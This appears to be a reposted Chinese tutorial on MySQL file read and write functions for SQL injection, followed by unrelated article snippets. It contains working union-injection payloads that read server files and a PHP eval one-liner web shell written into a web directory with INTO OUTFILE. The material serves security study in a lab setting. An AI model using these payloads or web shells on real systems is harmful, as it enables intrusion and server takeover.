Background-3 导入导出相关操作基础知识

news2024/12/30 1:39:40

文章目录

  • 一、导入导出的相关操作
    • 一.load_file()导出文件
      • 1.**使用条件:**
      • 2.实际注入中的两个难点
      • 3.mysql注入load_file()常用路径
    • 二、文件导入数据库
    • 三、导入到文件
      • 1.第一种直接将 select 内容导入到文件中:
      • 2.**第二种修改文件结尾**
  • 总结

一、导入导出的相关操作

一.load_file()导出文件

Load_file(file_name):读取文件返回该文件的内容作为一个字符串

1.使用条件:

A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常
,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误
,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
Mysql 注入---sqlilabs---lcamry
30
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。
比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取
相关的文件的,当遇到只有administrators 才能访问的文件
,users 就别想 load_file 出来。

2.实际注入中的两个难点

  1. 绝对物理路径

    构造有效的畸形语句 (报错爆出绝对路径)
    在很多 PHP 程序中,当提交一个错误的 Query
    ,如果 display_errors = on(本语法开启错误提示),程序就会暴露
    WEB 目录的绝对路径,只要知道路径,那么对于一个
    可以注入的 PHP 程序来说,整个服务
    器的安全将受到严重的威胁
    

3.mysql注入load_file()常用路径

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
举例:

select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,
105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))

利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116
,46,105,110,105))

Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

-1 union select 1,1,1,load_file(c:\\boot.ini)

Explain:路径里的/用 \代替

二、文件导入数据库

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。

在这里插入图片描述
在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据
库的权限时,可以将系统文件利用 load data infile 导入到数据库中。

示例

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t'
lines terminated by '\n'
将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是
每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑
/tmp 等文件夹。

三、导入到文件

SELECT…INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE
权限
,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:

1.第一种直接将 select 内容导入到文件中:

Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

此处将 version()替换成一句话,

<?php @eval($_post[“mima”])?>也即
Select <?php @eval($_post[“mima”])?> into outfile
 “c:\\phpnow\\htdocs\\test.php”

直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容

2.第二种修改文件结尾

Select version() Into outfile “c:\\phpnow\\htdocs\\
test.php” LINES TERMINATED BY 0x16 进制文件

解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED B
16 进制可以为一句话或者其他任何的代码,可自行构造。

在这里插入图片描述

总结

一切以心灵自由为主体,用审美的态度度过人生。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/840614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NotifyIcon控件基本使用

作用&#xff1a;系统托盘图标控件&#xff0c;用于应用程序最小化或后台运行时在托盘上面显示图标。 常用属性&#xff1a; 对象名称name&#xff0c;icon图标&#xff0c;右键菜单contextMenuStrip 常用事件&#xff1a; 后台代码示范&#xff1a; NotifyIcon、contextMen…

SQL ASNI where from group order 顺序

SQL语句执行顺序&#xff1a; from–>where–>group by -->having — >select --> order 第一步&#xff1a;from语句&#xff0c;选择要操作的表。 第二步&#xff1a;where语句&#xff0c;在from后的表中设置筛选条件&#xff0c;筛选出符合条件的记录。 …

QtAV for ubuntu16.04

下载ubuntu https://releases.ubuntu.com/16.04/ubuntu-16.04.7-desktop-amd64.iso 下载ffmpeg https://ffmpeg.org/download.html 下载QtAV https://github.com/wang-bin/QtAV/releases 更新 sudo apt update 安装库 sudo apt-get install libglu1-mesa-dev freeglut3-dev…

c++11 标准模板(STL)(std::basic_ofstream)(四)

定义于头文件 <fstream> template< class CharT, class Traits std::char_traits<CharT> > class basic_ofstream : public std::basic_ostream<CharT, Traits> 类模板 basic_ofstream 实现文件上基于流的高层输出操作。它将 std::basic_ost…

python 封装sql 增删改查连接MySQL

select * from Teacher limit 10 连接字符串配置MysqlConfig.py class MysqlConfig:HOST 192.168.56.210PORT 3306USER rootPASSWORD 1qaz0987654321DBStudentDBCHARSET utf8封装增删改查MysqlConnection.py Author: tkhywang 2810248865qq.com Date: 2023-06-19 15:44:48 Las…

Python - 【socket】 客户端client重连处理简单示例Demo(一)

一. 前言 在Python中&#xff0c;使用socket进行网络通信时&#xff0c;如果连接断开&#xff0c;可以通过以下步骤实现重连处理 二. 示例代码 1. 定义一个函数&#xff0c;用于建立socket连接 import socketdef connect_socket(host, port):while True:try:# 建立socket连…

webpack基础知识七:说说webpack proxy工作原理?为什么能解决跨域?

一、是什么 webpack proxy&#xff0c;即webpack提供的代理服务 基本行为就是接收客户端发送的请求后转发给其他服务器 其目的是为了便于开发者在开发模式下解决跨域问题&#xff08;浏览器安全策略限制&#xff09; 想要实现代理首先需要一个中间服务器&#xff0c;webpac…

三个主流数据库(Oracle、MySQL和SQL Server)的“单表造数

oracle 1.创建表 CREATE TABLE "YZH2_ORACLE" ("VARCHAR2_COLUMN" VARCHAR2(20) NOT NULL ENABLE,"NUMBER_COLUMN" NUMBER,"DATE_COLUMN" DATE,"CLOB_COLUMN" CLOB,"BLOB_COLUMN" BLOB,"BINARY_DOUBLE_COLU…

flask-----蓝图

1.引入蓝图 flask都写在一个文件中&#xff0c;项目这样肯定不行&#xff0c;会导致循环导入的问题&#xff0c;分目录&#xff0c;分包&#xff0c;使用蓝图划分目录。 2.使用蓝图 步骤如下&#xff1a; -1 实例化得到一个蓝图对象-order_blueBlueprint(order,__name__,tem…

Linux(环境变量)

Linux&#xff08;环境变量&#xff09; 常见环境变量查看环境变量方法和环境变量相关的指令环境变量的组织方式通过代码如何获取环境变量 环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数如&#xff1a;我们在编写C/C代码的时候&…

Goland设置运行时配置指定配置文件

目录 遇到了问题--GoLand读取不到配置文件的命令行参数查找问题解决 遇到了问题–GoLand读取不到配置文件的命令行参数 今天在命令行执行go run user.go -f etc/user.yaml依此来指定程序运行时的配置文件&#xff0c;最后可以运行。 但是这种方式运行&#xff0c;我就没法在G…

error C4430 缺少类型说明符 - 假定为 int。注意 C++ 不支持默认 int

出现原因&#xff1a;两个类头文件相互包含 使用声明类代替头文件包含

基于vue医院分时段预约挂号系统java病历管理系统snsj0

伴随着我国社会的发展&#xff0c;人民生活质量日益提高。互联网逐步进入千家万户&#xff0c;改变传统的管理方式&#xff0c;医院病历管理系统以互联网为基础&#xff0c;利用java技术&#xff0c;和mysql数据库开发设计一套医院病历管理系统&#xff0c;提高工作效率的同时&…

【学习笔记】Java安全之反序列化

文章目录 反序列化方法的对比PHP的反序列化Java的反序列化Python反序列化 URLDNS链利用链分析触发DNS请求 CommonCollections1利用链利用TransformedMap构造POC利用LazyMap构造POCCommonsCollections6 利用链 最近在学习Phith0n师傅的知识星球的Java安全漫谈系列&#xff0c;随…

QT生成可执行文件的步骤

QT生成可执行文件的步骤 第一步&#xff1a;debug为release&#xff0c;然后进行编译 第二步&#xff1a;添加QT生成必要的库 首先&#xff0c;建立一个新的文件夹&#xff0c;然后将Release中的可执行文件拷贝到新的文件夹中 然后&#xff0c;在新建文件夹中生成必要的库 …

Docker学习(二十四)报错速查手册

目录 一、This error may indicate that the docker daemon is not running 报错docker login 报错截图&#xff1a;原因分析&#xff1a;解决方案&#xff1a; 二、Get "https://harbor.xxx.cn/v2/": EOF 报错docker login 报错截图&#xff1a;原因分析&#xff1a…

vue3部署宝塔后请求接口404以及刷新页面404的问题解决方案

技术&#xff1a;vue3.2.13 UI框架:element-plus 2.1.1 服务器&#xff1a;腾讯云Centos系统宝塔面板 Nginx:1.22.1 前提&#xff1a;宝塔面板》网站PHP项目 已经新建了项目 1.处理vue页面刷新报错404 如上图&#xff0c;在PHP网站》设置》配置文件&#xff0c;新增如下代码…

EMD经验模态分解介绍

EMD概述 其实一种信号分解方法&#xff0c;是一种自适应的数据处理方法&#xff0c;适合非线性和非平稳时间序列的分析和研究&#xff0c;其本质是对数据序列或信号的平稳化处理。 将上面6个信号叠加如下&#xff1a; 就是6个简单信号叠加&#xff0c;形成一个复杂信号。 核心…

【雕爷学编程】Arduino动手做(184)---快餐盒盖,极低成本搭建机器人实验平台3

吃完快餐粥&#xff0c;除了粥的味道不错之外&#xff0c;我对个快餐盒的圆盖子产生了兴趣&#xff0c;能否做个极低成本的简易机器人呢&#xff1f;也许只需要二十元左右 知识点&#xff1a;轮子&#xff08;wheel&#xff09; 中国词语。是用不同材料制成的圆形滚动物体。简…

JavaWeb三大组件——Listener

目录 Listener 八个Web监听器 注册Listener 父pom文件 pom文件 使用注解方式 ServletListener HelloServlet 启动类 通过RegistrationBean注册 ServletListener HelloServlet MyWebConfig 启动类 运行结果 Listener 作用&#xff1a;监听某个事件的发生&#xf…